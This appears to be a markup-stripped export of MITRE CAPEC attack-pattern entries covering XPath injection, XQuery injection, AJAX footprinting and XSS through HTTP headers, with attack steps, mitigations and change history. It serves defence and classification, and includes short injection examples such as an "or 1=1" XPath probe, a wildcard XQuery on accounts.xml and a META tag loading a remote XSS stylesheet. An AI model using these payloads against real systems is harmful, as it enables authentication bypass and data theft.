+ + + + + XPath Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44993 + Related_Attack_Pattern_44993 + + + + + + + + + + + + + + 250 + + + + + + + + + + + + #indAttackStepAttackStep44996 + Attack_Step_44996 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using a browser or an automated tool, an adversary records all instances of user-controllable input used to contruct XPath queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of user-controllable input used to contruct XPath queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes inputs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45003 + Attack_Step_45003 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine the tructure of queries] Using manual or automated means, test inputs found for XPath weaknesses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool automatically probe the inputs for XPath weaknesses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually probe the inputs using characters such as single quote (') that can cause XPath-releated errors, thus indicating an XPath weakness.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45010 + Attack_Step_45010 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject content into XPath query] Craft malicious content containing XPath expressions that is not validated by the application and is executed as part of the XPath queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use the crafted input to execute unexpected queries that can disclose sensitive database information to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a combination of single quote (') and boolean expressions such as "or 1=1" to manipulate XPath logic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use XPath functions in the malicious content such as "string-length", "substring", or "count" to gain information about the XML document structure being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">XPath queries used to retrieve information stored in XML documents</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User-controllable input not properly sanitized before being used as part of XPath queries</xhtml:div> + + + + + + + + + + + + #indSkillSkill45024 + Skill_45024 + + + + + + + + + + + + + + XPath Injection shares the same basic premises with SQL Injection. An attacker must have knowledge of XPath syntax and constructs in order to successfully leverage XPath Injection + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Too many exceptions generated by the application as a result of malformed XPath queries</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45033 + Consequence_45033 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45039 + Consequence_45039 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as content that can be interpreted in the context of an XPath expression. Characters such as a single-quote(') or operators such as or (|), and (&amp;) and such should be filtered if the application does not expect them in the context in which they appear. If such content cannot be filtered, it must at least be properly escaped to avoid them being interpreted as part of XPath expressions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of parameterized XPath queries - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass.</xhtml:div> + + + + + 91 + + + + + 74 + + + + + 20 + + + + + 707 + + + + + + + + + + + + #indTaxonomyMappingXPathInjection + XPath Injection + + + + + + + + + + + + + + 39 + + + + + XPath Injection + + + + + + + + + + + + #indTaxonomyMappingBlindXPathInjection + Blind XPath Injection + + + + + + + + + + + + + + Blind XPath Injection + + + + + + + + + + + + #indTaxonomyMappingXPATHInjection + XPATH Injection + + + + + + + + + + + + + + XPATH Injection + + + + + + + + + + + + #indReferenceReference45071 + Reference_45071 + + + + + + + + + REF-611 + + + + + Testing for XPATH Injection + + + + + + + + + + + + #indContentHistoryContentHistory45073 + Content_History_45073 + + + + + + + + + + + + + + + + #indSubmissionSubmission45074 + Submission_45074 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45079 + Modification_45079 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification45085 + Modification_45085 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification45091 + Modification_45091 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification45097 + Modification_45097 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification45103 + Modification_45103 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification45109 + Modification_45109 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-84 + XQuery Injection + + + + + + + + + 84 + + + + + XQuery Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45122 + Related_Attack_Pattern_45122 + + + + + + + + + + + + + + 250 + + + + + + + + + + + + #indAttackStepAttackStep45125 + Attack_Step_45125 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45133 + Attack_Step_45133 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine user-controllable input susceptible to injection] Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to XQL injection, attempt to inject characters that have special meaning in XQL. The goal is to create an XQL query with an invalid syntax.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use web browser to inject input through text fields or through HTTP GET parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use XML files to inject input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use network-level packet injection tools such as netcat to inject input</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use modified client (modified by reverse engineering) to inject input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45143 + Attack_Step_45143 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Information Disclosure] The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to inappropriate disclosure of information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload. The payload aims to get information on the structure of the underlying XML database and/or the content in it.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45149 + Attack_Step_45149 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate the data in the XML database] The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to modification of application data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload.. The payload tries to insert or replace data in the XML database.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The XQL must execute unvalidated data</xhtml:div> + + + + + + + + + + + + #indSkillSkill45160 + Skill_45160 + + + + + + + + + + + + + + Basic understanding of XQuery + + + + + + + + + + + + #indConsequenceConsequence45163 + Consequence_45163 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45167 + Consequence_45167 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45171 + Consequence_45171 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45177 + Consequence_45177 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Perform input allowlist validation on all XML input</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Run xml parsing and query infrastructure with minimal privileges so that an attacker is limited in their ability to probe other system resources from XQL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;doc(accounts.xml)//user[Name='*']&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 74 + + + + + 707 + + + + + + + + + + + + #indTaxonomyMappingXQueryInjection + XQuery Injection + + + + + + + + + + + + + + 46 + + + + + XQuery Injection + + + + + + + + + + + + #indContentHistoryContentHistory45206 + Content_History_45206 + + + + + + + + + + + + + + + + #indSubmissionSubmission45207 + Submission_45207 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45212 + Modification_45212 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Mitigations + + + + + + + + + + + + #indModificationModification45218 + Modification_45218 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification45224 + Modification_45224 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification45230 + Modification_45230 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-85 + AJAX Footprinting + + + + + + + + + 85 + + + + + AJAX Footprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45243 + Related_Attack_Pattern_45243 + + + + + + + + + + + + + + 580 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45244 + Related_Attack_Pattern_45244 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indAttackStepAttackStep45247 + Attack_Step_45247 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send request to target webpage and analyze HTML] Using a browser or an automated tool, an adversary sends requests to a webpage and records the received HTML response. Adversaries then analyze the HTML to identify any known underlying JavaScript architectures. This can aid in mappiong publicly known vulnerabilities to the webpage and can also helpo the adversary guess application architecture and the inner workings of a system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Record all "src" values inside script tags. These JavaScript files are compared to lists of files for known architectures. If there is a large match between the "src" values and architecture files, then it can be assumed that particular architecture is being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The user must allow JavaScript to execute in their browser</xhtml:div> + + + + + + + + + + + + #indSkillSkill45258 + Skill_45258 + + + + + + + + + + + + + + To land and launch a script on victim's machine with appropriate footprinting logic for enumerating services and vulnerabilities in JavaScript + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45264 + Consequence_45264 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. The attacker can probe the system for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute javascript (for example, if the attackers' footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks) or to inform other data gathering activities in order to craft atta.</xhtml:div> + + + + + 79 + + + + + 113 + + + + + 348 + + + + + 96 + + + + + 20 + + + + + 116 + + + + + 184 + + + + + 86 + + + + + 692 + + + + + + + + + + + + #indReferenceReference45288 + Reference_45288 + + + + + + + + + REF-539 + + + + + + + + + + + + #indContentHistoryContentHistory45290 + Content_History_45290 + + + + + + + + + + + + + + + + #indSubmissionSubmission45291 + Submission_45291 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45296 + Modification_45296 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification45302 + Modification_45302 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances, Execution_Flow, Mitigations, Related_Attack_Patterns, Resources_Required, Typical_Severity + + + + + + + + + + + + #indModificationModification45308 + Modification_45308 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45314 + Modification_45314 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification45320 + Modification_45320 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName45326 + Previous_Entry_Name_45326 + + + + + + + + + 2020-12-17 + + + + + AJAX Fingerprinting + + + + + + + + + + + + #CAPEC-86 + XSS Through HTTP Headers + + + + + + + + + 86 + + + + + XSS Through HTTP Headers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45334 + Related_Attack_Pattern_45334 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45335 + Related_Attack_Pattern_45335 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45336 + Related_Attack_Pattern_45336 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indAttackStepAttackStep45339 + Attack_Step_45339 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for public links] Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the entry points (input) that becomes part of generated HTTP header (not only GET/POST/COOKIE, but also Content-Type, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters used in the HTTP headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for HTML meta tags that could be injectable</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45348 + Attack_Step_45348 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS vulnerability]&lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. They record all the responses from the server that include unmodified versions of their script.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary tries also to inject extra-parameter to the HTTP request to see if they are reflected back in the web page or in the HTTP response.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45358 + Attack_Step_45358 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter which is used in an HTTP header to include a malicious script tag. Because it is in the header it may bypass validation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45365 + Attack_Step_45365 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target software must be a client that allows scripting communication from remote hosts.</xhtml:div> + + + + + + + + + + + + #indSkillSkill45377 + Skill_45377 + + + + + + + + + + + + + + To achieve a redirection and use of less trusted source, an adversary can simply edit HTTP Headers that are sent to client machine. + + + + + + + + + + + + #indSkillSkill45378 + Skill_45378 + + + + + + + + + + + + + + Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to deploy a custom hostile service for access by targeted clients and the abbility to communicate synchronously or asynchronously with client machine. The adversary must also control a remote site of some sort to redirect client and data to.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45384 + Consequence_45384 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45391 + Consequence_45391 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45395 + Consequence_45395 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize strict type, character, and encoding enforcement</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Session tokens for specific host</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Utilize a remote style sheet set in the HTTP header for XSS attack. When the adversary is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote adversary. Like most XSS attacks, results vary depending on browser that is used [REF-97].&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;META HTTP-EQUIV="Link" Content="&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet"&amp;gt;&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Google's 404 redirection script was found vulnerable to this attack vector.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Google's 404 file not found page read&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;* Response headers: "Content-Type: text/html; charset=[encoding]".&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;* Response body: &amp;lt;META http-equiv="Content-Type" (...) charset=[encoding]/&amp;gt;&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. [REF-476]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">XSS can be used in variety of ways, because it is scripted and executes in a distributed, asynchronous fashion it can create its own vector and openings. For example, the adversary can use XSS to mount a DDoS attack by having series of different computers unknowingly executing requests against a single host.</xhtml:div> + + + + + 80 + + + + + + + + + + + + #indReferenceReference45431 + Reference_45431 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference45432 + Reference_45432 + + + + + + + + + REF-69 + + + + + XSS Filter Evasion Cheat Sheet + + + + + + + + + + + + #indReferenceReference45433 + Reference_45433 + + + + + + + + + REF-476 + + + + + + + + + + + + #indContentHistoryContentHistory45435 + Content_History_45435 + + + + + + + + + + + + + + + + #indSubmissionSubmission45436 + Submission_45436 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45441 + Modification_45441 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification45447 + Modification_45447 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 